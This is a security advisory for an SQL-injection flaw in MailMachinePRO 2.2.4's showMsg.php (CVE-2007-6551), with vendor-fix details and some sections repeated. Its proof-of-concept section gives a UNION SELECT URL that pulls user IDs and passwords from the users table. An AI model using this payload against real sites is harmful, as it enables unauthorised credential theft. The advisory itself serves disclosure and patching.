MailMachinePRO 'showMsg.php' SQL Injection Vulnerability
BID:27030
Info
MailMachinePRO 'showMsg.php' SQL Injection Vulnerability
| Bugtraq ID: | 27030 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6551 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 25 2007 12:00AM |
| Updated: | Jan 09 2008 01:59PM |
| Credit: | MhZ91 discovered this vulnerability. |
| Vulnerable: |
MailMachinePRO MailMachinePRO 2.2.4 |
| Not Vulnerable: |
MailMachinePRO MailMachinePRO 2.2.6 MailMachinePRO MailMachinePRO 2.2.5 |
Discussion
MailMachinePRO 'showMsg.php' SQL Injection Vulnerability
MailMachinePRO is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MailMachinePRO 2.2.4 is reported vulnerable; prior versions may also be vulnerable.
MailMachinePRO is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MailMachinePRO 2.2.4 is reported vulnerable; prior versions may also be vulnerable.
Exploit / POC
MailMachinePRO 'showMsg.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof of concept is available:
http://www.example.com/showMsg.php?id=-1+union+select+1,2,3,4,5,6,concat(user_id,char(58),password),8,9,10+from+mailmachine_users/*
Attackers can use a browser to exploit this issue.
The following proof of concept is available:
http://www.example.com/showMsg.php?id=-1+union+select+1,2,3,4,5,6,concat(user_id,char(58),password),8,9,10+from+mailmachine_users/*
Solution / Fix
MailMachinePRO 'showMsg.php' SQL Injection Vulnerability
Solution:
The vendor released an update to address this issue. Please contact the vendor for information on how to obtain and apply this update.
Solution:
The vendor released an update to address this issue. Please contact the vendor for information on how to obtain and apply this update.
References
MailMachinePRO 'showMsg.php' SQL Injection Vulnerability
References:
References:
- MailMachinePRO Home Page (MailMachinePRO)